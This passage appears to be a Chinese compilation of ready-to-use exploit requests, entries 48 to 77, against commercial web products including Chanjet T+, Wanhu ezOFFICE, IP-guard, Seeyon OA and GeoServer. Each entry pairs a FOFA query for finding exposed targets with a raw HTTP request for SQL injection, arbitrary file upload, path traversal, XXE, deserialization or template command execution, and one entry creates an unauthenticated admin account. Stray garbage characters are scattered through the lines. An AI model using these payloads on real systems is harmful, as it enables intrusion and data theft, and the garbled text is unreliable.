+ ]  e' _! C# ]( e/ g0 [; yHost: your-ip
' [, P0 F0 c1 v% X4 P& e. K- DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
* f3 K; h# a& }& @5 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  D4 I' j6 e& J4 D. Q2 S+ ^8 wAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
8 A& I. \; _5 r9 _9 ~Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
. f' F, K; U( b' X/ UContent-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
------269520967239406871642430066855
# Z6 E4 b; z' R+ NContent-Disposition: form-data; name="upload"
upload
& ^$ m6 t+ N9 z; w: R------269520967239406871642430066855--
9 U) g" h( e- @$ O+ ~) [- ^2 P3 B
# [# h: U2 I1 i* D
! T9 |3 m  H: S49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"

: n6 x2 c% ^& r- U- WPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
" X1 u6 D! V. `, y5 d1 EContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
6 D1 C& j' E6 D# p6 xContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
5 W* s7 ^& F% H- s8 kContent-Type: application/octet-stream

wersqqmlumloqa
- z3 A/ x4 p  `& O: Y$ d! \-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
" V1 C. M1 q. b
9 G& i/ C# G: Q" X3 V1 G# pupload
) H4 ]: N+ K6 `% M! }5 s* A-----------------------------vvv3wdayqv3yppdxvn3w--


http://x.x.x.x/tmpfile/updB3CB.tmp.php
  r# F2 H2 Z, W/ _3 T
50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
! H) }, g# [2 ^) g: R7 ]Connection: close
Content-Length: 224
Accept: */*
Accept-Language: en
" L' y" G2 [: J# t3 UContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
! j3 s9 a: {  Y, P. E, k
5 O, V* t" ~6 @. O* g' c
  P2 H6 p- h+ c! p: L51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
. B2 z0 e( n2 `" tFOFA：app="云时空社会化商业ERP系统"
/ K, P: j" ~) f2 g' ?GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
1 g  K% o5 ~. a2 e0 T6 `Host: your-ip
( A- f1 h, p$ r8 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
3 D+ W3 C1 p( {. p  W, x# X' XAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
1 k' p  j( H; p& K/ s! j; r* xConnection: close
) y  [; n0 M1 T! k/ F
' y2 |* V5 {! x/ {) s9 ]
52. 泛微E-Office json_common.php sql注入
0 N' P/ ~- O. J' d0 t, P6 t* BFOFA：app="泛微-EOffice"
  v5 f0 }8 [8 D  _1 ~  OPOST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 Q1 P% r+ K. x5 Q+ H2 {Connection: close
Content-Length: 87
Accept: */*
: B4 R  }" w4 R& nAccept-Language: en
Content-Type: application/x-www-form-urlencoded
. p* x2 T( g  F0 W- {Accept-Encoding: gzip

- X8 z8 L" ~: ~, F) ]* o+ gtfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
2 P: Z  V% \" f- ?+ |  V- f

" h( L5 Y7 u. ^+ j53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
  c: p2 J( s1 E  w1 O9 `/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd
! h9 e) ~0 i  d* R" I

54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
$ e* X/ M9 b% X; @/ N) ~  F"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
) H2 I5 }# [8 U9 s5 i
, t7 |4 m" e& s  Q  d  _% B
; z) Q- M+ `4 C: ^: `: {9 ?完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
* O3 d; a( t2 f' WHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

' u& w( p, ~/ Y6 K  a6 k4 K$ k- I{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
" I. A" x* G- R% ~# c, M/ t. u3 [ "MethodName":"Start",
  "ObjectInstance":{
+ m7 O( Q' f* u. U% Z   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
- j. `! Z. L0 `9 F, V+ `1 B   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "FileName":"cmd",
/ B- }! p8 U' {& d7 F" }" [$ \2 [    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
9 }/ V" b/ M; Q$ K& Z- a  }
}


第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
: [! s+ S1 p9 N- a# _, L
1 P) P% q7 y% X( P3 D  n
3 x+ k3 g" F% u; j4 D9 P. t7 q55. 畅捷通T+ getdecallusers信息泄露
! u' G; x% L$ Y, Q* ~0 |( R; ?FOFA：app="畅捷通-TPlus"
1 f- X6 ~: p+ X* V4 S9 D第一步，通过
$ F- S: |" @" z0 |& `) Z: g1 y/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
$ b0 r" C6 R2 n9 ?. n8 B1 }7 L/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
2 G) U4 |6 `8 `& ?9 _5 m6 O+ ]
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
7 l6 m2 q$ O& b8 j, E, f! D8 VFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
, c; O- E. F3 Z4 L$ bHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

& _, t0 b8 y- ^  t/ h8 e: R{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
3 H8 E6 U4 d  t! s; y- S( Y2 a   "MethodName":"Start",
* d4 u7 b5 w5 n: ]3 C! J! M    "ObjectInstance":{
7 I2 V. M5 \/ M9 D' ?- I       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
4 H3 x1 ~  [; W           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
       }
    }
8 z3 h9 X; {( ^! X3 y4 v- W. H. ^  }
}


57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
" y1 T( p! {# i) _( e( u% S; ]1 qHost: host
$ m; }9 P- R2 K5 E$ M$ `User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

' i& k7 J' \2 i' l" V
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
+ Y* W, I3 g) }+ MUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
7 Z8 A- ]/ J7 ^8 J# i# P5 Q0 QConnection: close
" `2 S/ Q9 \9 O  U/ c9 k: h+ h

% ^% d% F9 S% B1 V59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
FOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
- H% `5 w7 l3 M" }. P7 VPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
& v& Z& C# Q8 WUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
Accept: */*
0 V' ~! }4 [5 u* hAccept-Language: en
Content-Type: application/x-www-form-urlencoded
# H* ?; [5 h6 n4 lAccept-Encoding: gzip
& b: h9 W" g- ~
PAYLOAD


60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
4 \: e) r; U1 i: @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
  s4 G: }  v  B8 e  K  ^1 Q* X3 c3 nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
; X+ ^) ~1 |3 q9 ?6 s3 o) \Connection: close

' z- R2 Z. A" j- p4 D) w
' q: f* R, k; k0 \4 }& h61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
( W# S2 C4 v, ^$ ~! lPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
3 _$ A9 f8 ~; f+ PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
, q/ |: @" w7 zContent-Length: 27
Accept: */*
3 ^. a+ ~$ @5 F: {. g) GAccept-Encoding: gzip, deflate
  J, i4 K2 t0 f+ e. ~8 z2 a$ c- Y% UAccept-Language: en
- X) _/ ]2 W! r+ x+ p+ @5 l$ L% KContent-Type: application/x-www-form-urlencoded
' i7 x8 S8 |1 ]- G9 r
2 w0 Y  F! T4 T3 r( b: u: y" p/ c* i3 d8uxssX66eqrqtKObcVa0kid98xa
" H7 y- ^* D- n; G3 q( v& m, Y
! n* c% b- ~( j0 t
( C+ R3 q& i; f- C) g' t' q62. IP-guard WebServer 远程命令执行
1 r3 S' L7 j. DFOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
6 {3 y4 q+ w3 v1 V* y$ @6 T- zHost: x.x.x.x
, c  H% w" W, D" g- @User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

$ a1 B4 x0 _& Z$ c3 i& x
4 K8 ~' c: C! f* z9 T# R访问
, t) g/ x& M2 \( m. x
+ ]7 G7 @$ k0 B' y# W  W7 aGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x


63. IP-guard WebServer任意文件读取
- C  S, C4 h8 V$ o$ a3 HIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
( h! d# O9 ~+ S0 N& h$ G1 lPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
1 [0 \! T, _: B! j. IHost: your-ip
; w& u8 y1 Q5 q: S8 r; d5 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% v0 J" c2 K6 h& T# \Accept-Language: zh-CN,zh;q=0.9
! E$ t& I1 w) I& M- z9 LConnection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
9 [9 ~5 L% @# N+ I
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
0 t, s2 y, n! w: G( f1 D1 NFOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
* x2 _' S( f6 v& k% [- NContent-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
/ h9 Q) c2 W  I# ~3 r; q
% B7 |" a1 h* r! g" n<?xml version="1.0" encoding="utf-8"?>
) x; M' Y' H1 _% [* \: M<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
+ E  d6 s3 f* P( ]' ]! }& O. w    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
9 g1 i- \2 R# Y. I  </soap:Body>
</soap:Envelope>
, J5 O; Z' e' [. P$ Y
4 F- n8 L, z) u' K
5 ^5 A" \) |: K# i1 n65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
2 G8 y" q' [& K# [! p响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
2 I6 Q3 I  c- GAccept-Encoding: gzip, deflate
/ j0 E9 f. n+ u7 H  _2 x0 sAccept: */*
6 ]2 z1 l2 a9 p7 ]Connection: close
% m# V9 n5 w( x# K* PAccept-Language: en
Content-Length: 174

! Y& [& \# {* l: VoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators

, k+ [/ k) Y* A0 w6 a$ X7 Y
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
/ `7 o0 V% _) y
4 _1 |4 h6 Z5 F# }2 `1 vGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
( ~4 N, d$ N" k/ ZHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) r' g. @# M9 _" F0 _/ h3 `# M( XConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
0 J" e  r4 ~' c8 r

第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
4 G, z3 N: ^8 f4 |, T/ x( D, ]9 _
67. 万户ezOFFICE wpsservlet任意文件上传
' w: M+ M0 x8 [. S4 h( B( iFOFA：app="万户网络-ezOFFICE"
% J* r/ E) }2 b# D2 cnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
. O  _9 B7 h3 b7 h7 \POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
% c5 p' j7 ], u* n9 a- wHost: x.x.x.x
5 c! ~! s3 n9 O  ~( @4 d3 g$ P" ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
/ W: U# g3 k  H0 k4 |, R' dContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
0 w/ u# y5 ~  U; m" PAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  v' H" e% a- `- {' v  G* ^Connection: close
5 z2 R; x+ y+ u% X5 F4 MContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
8 X# d# O* N4 ~
--ufuadpxathqvxfqnuyuqaozvseiueerp
/ g+ I- q4 [% s  OContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

/ G# Y, }+ F( U<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--

5 e: H$ b) G% q3 f% ?! y7 d% r
+ {( R0 Y5 ~3 ^! b- y3 N文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
! S1 {+ a9 _  p2 X# ~/ m
# V/ ^6 S; l. ^. j5 {3 Y  R68. 万户ezOFFICE wf_printnum.jsp SQL注入
3 J! G6 r7 p% ?; V# N" B! uFOFA：app="万户ezOFFICE协同管理平台"
% Z) ?* J1 Q9 _5 j) o/ D/ A' K( y- `$ cGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
0 i2 \0 P& G. WAccept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
* `* t% o4 {/ v" r% L! X/ sAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

' G8 c( C# T" j
3 m! B: v/ j$ C/ V# T- m" u69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
' P* g0 q( H0 K  i" I6 D1 V9 xHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
- @# V/ J. ^% L/ o) [" }Connection: keep-alive
# G1 j( `% r4 }  W  P, i$ n( B
# e2 c: D9 b: i6 b! C5 f
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
5 S/ G0 `9 Z" b# UPOST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
2 r$ c. L9 o2 u5 H' {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
. |: G$ @. m; w( P7 pSID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
( K8 y2 [7 I" K; ~Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

+ Y3 v% g* a' L1 n__VIEWSTATE=PAYLOAD
$ t" q3 m& w4 i% [! f- X1 T

& L5 r% k9 M% L2 t0 a  ?& {* c7 m71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
4 P. \: F( d) C7 k* p1 HGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
8 I  W! j! _- ]. q1 d8 YHost: x.x.x.xx.x.x.x
! `$ X; o6 J; p3 n9 G! lUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
1 k8 [+ Z* U9 g# W: n9 n7 lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1

! b- G1 [2 I$ Q6 {3 k# R
4 v+ M$ [4 t& i5 E5 C( F# ~72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
9 D4 g3 ?6 w$ F: F; e  AHost: 192.168.40.131:8099
4 w* Q' R8 F6 c' ^User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
0 F$ f' v: N8 Y2 ]0 oConnection: close
Content-Length: 583
) }2 L" c  H$ U& y9 ^: e5 JContent-Type: application/x-www-form-urlencoded
: C! X9 n2 s2 VAccept-Encoding: gzip

* b0 g% o" W6 N+ u/ F; {S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
; F1 Z, |/ @4 T" Y/ w7 _4 U

0 I9 z5 b7 o& X73. GeoServer wms远程代码执行
7 F9 ^  ]9 V$ ?) }4 uFOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
Host:
; Q3 O; V3 ]  d1 p* j. h, CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) c( b5 y, L$ a( j) L9 _: U0 FContent-Length: 1981
Accept-Encoding: gzip, deflate
Connection: close
4 @* |* s, D* `( e1 @% v! g* x5 QContent-Type: application/xml
% p$ s8 H+ P3 `4 n2 R7 FSL-CE-SUID: 3
- m% D# ?, d( v+ F6 V* \
! G$ S$ p# H# Q8 N; MPAYLOAD

4 `! H: j9 C4 v# g1 K5 D' k
74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
0 |+ [( ~* f* I$ u( \& nPAYLOAD
( B% J6 |  \# z# X3 [
1 t" I- F2 E  w75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
+ Q: M6 i  [5 X( M& c* pGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
1 _7 J+ F- |2 aConnection: close
+ t4 n2 q. B4 N; f' g+ zAccept: */*
Accept-Language: en
Accept-Encoding: gzip
* |% i$ c0 F  R) ^" i$ F$ G, G

: O9 o' A9 K* S; B6 `GET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
) b2 a1 }+ a1 K- j; \7 d

76. 新开普掌上校园服务管理平台service.action远程命令执行
, b# w) `" Q& s; M, \8 R2 xFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
) ?/ ?; I# Y% N+ NHost: x.x.x.x
" t2 d7 Y( `( k$ k4 WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 d. I8 A7 l( K1 s+ dAccept-Encoding: gzip, deflate
* g2 ^% f- W+ D8 c5 ^. }' LAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
1 E* `% _. S. l0 P* {3 \Upgrade-Insecure-Requests: 1

{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
* T  U; N5 n. E& o* [  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
) A) o2 ?2 u6 ~0 I. T5 R1 c}

6 ?0 {3 J/ a$ S) j- k, @- Y
  k1 K: v1 _, C9 x* ~GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x

- }+ ?7 k' J- K$ b

9 w3 T; Z+ W4 }$ t$ w77. F22服装管理软件系统UploadHandler.ashx任意文件上传
+ f! o1 w$ j; X$ V) |  M: b+ ?( ]FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
, T0 C+ G& h; f0 a. L$ ~Host: x.x.x.x
7 c* a3 w0 J6 x! k( z; R% ?User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
( w& m, m4 A! B9 M% YConnection: close
1 `# U* g7 Y: c1 P0 RContent-Length: 433
1 t8 ?+ L2 o% [' z6 J2 mAccept: */*
* g. @/ T/ D" H" A) RAccept-Encoding: gzip, deflate
; N) |0 F% V$ M' fAccept-Language: zh-CN,zh;q=0.9
8 O; J" C+ H" ?/ l5 S5 F6 LContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
$ ?& g$ d7 H% t3 r8 P
: L8 z7 i8 ^+ b) `& v; E3 E------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
